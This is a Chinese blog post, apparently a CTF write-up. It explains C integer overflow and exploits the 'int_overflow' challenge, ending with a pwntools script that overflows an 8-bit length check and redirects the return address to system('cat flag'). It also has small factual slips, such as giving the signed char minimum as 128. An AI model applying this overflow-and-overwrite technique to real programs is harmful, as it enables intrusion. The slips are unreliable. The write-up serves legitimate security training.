整形溢出 int_overflow

0x01 C语言的整数溢出机制

整数溢出主要分为无符号整数溢出和有符号整数溢出。

无符号整型溢出

对于unsigned整型溢出,C的规范是有定义的——“溢出后的数会以2^(8*sizeof(type))作模运算”,也就是说,如果一个unsigned char(1字符,8bits)溢出了,会把溢出的值与256求模。

1
2
3
4
5
6
7
#include <stdio.h>
int main(int argc, const char * argv[]) {
// insert code here...
unsigned char x;
x = 128 + 130;
printf("%d\n",x);
}

有符号整型溢出

对于signed整型的溢出,C的规范定义是“undefined behavior”,虽然没有定义,各编译器可自己实现,但是大部分的溢出机制都是一样的。

有符号整型溢出又可分为向上溢出和向下溢出。假设用k个字节表示一个整型变量, 那么这个变量可以表示的有符号整数的范围是-2^(8k-1) ~ 2^(8k-1) – 1,那么两个正整数或者两个负整数相加就有可能超过这个整型变量所能表示的范围, 向上超出>2^(8k-1) – 1我们称之为向上溢出, 向下超出<-2^(8k-1), 我们称之为向下溢出.
对于signed char,正整数最大值为127,负整数最小值为128。unsigned char所能表示的最大值为255。

1
2
signed char x;
x = 125 + 5;

上面代码会输出:-126,因为130的二进制位为10000010,符号为1,表示负数。对于有符号整型,负数是用补码表示的,即绝对值取反后加一。根据之前方法逆向回去,先减一后再取反得01111110,即126.所以10000010表示的是-126。

1
2
signed char x;
x = (-100) + (-100);

上面代码会输出56,因为200的二进制为11001000,-200根据补码的算法,得出00111000即56。
上面的两个例子无论是向上溢出还是向下溢出,绝对值都在相对于无符号整型能表示的范围内。对于signed char如果结果为400,超出了位数表示范围,取结果的低八位。

1
2
signed char x;
x = 200 + 200;

因此上面代码会输出-112。如果x的结果为负数且超出了255,则取结果的低八位,并进行补码的反向操作,减一后取反。

数据类型范围

• 2015/06/09
Visual C++ 32 位和 64 位编译器可识别本文后面的表中的类型。

• int (unsigned int)

• __int8 (unsigned __int8)

• __int16 (unsigned __int16)

• __int32 (unsigned __int32)

• __int64 (unsigned __int64)

• short (unsigned short)

• long (unsigned long)

• long long (unsigned long long)
如果其名称以两个下划线 (__) 开始,则数据类型是非标准的。
下表中指定的范围均包含起始值和结束值。

0x02 _int_overflow

检查安全机制


运行一下,我们知道这是一个创建用户名和密码的程序,对用户名的长度和密码都有限制。
我们ctrl+1 找到了system(”cat flag”)

找到溢出点

strcpy:危险函数
unsigned __int8最大只能到达255 可是我们read(。。。)远超过255。

利用思路

整数溢出
要想利用到strcpy这一步,要么你输入的passwd长度>3 && <=8,要么使passwd的长度过长,而v3最大可以存的长度为255,所以直接在v3处造成整数溢出进入else,整数溢出需要255,返回地址需要4字节,所以passwd长度达到259即可
第一种passwd太短,无法利用进行改写程序流,我们使用第二种思路。
程序中存在,可以将返回地址指向what_is_this()

1.发现v3是8位无符号整数,则最大只能是255。
但是read函数能读取的长度是0x199,远大于255,那就可以进行整型溢出,让passwd的长度是 260到264就可以了。
根据无符号整形溢出规则,溢出则进行2^(8*sizeof(type))作模运算,passwd的长度是 260到264。
2.我们将程序的返回地址覆盖为system(”cat flag”)

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import*

p = process('./int_overflow')

system_flag_addr = 0x804868B

p.recvuntil('choice:')
p.sendline("1")
p.recvuntil('username:\n')
p.sendline("tutu")
p.recvuntil('passwd:\n')

payload = 'A'*0x18 + p32(system_flag_addr)
payload = payload.ljust(262,'A')



p.sendline(payload)
p.interactive()

Python ljust()方法
Python 字符串 Python 字符串
描述
Python ljust() 方法返回一个原字符串左对齐,并使用空格填充至指定长度的新字符串。如果指定的长度小于原字符串的长度则返回原字符串。

-------------本文结束感谢您的阅读-------------
/*
*/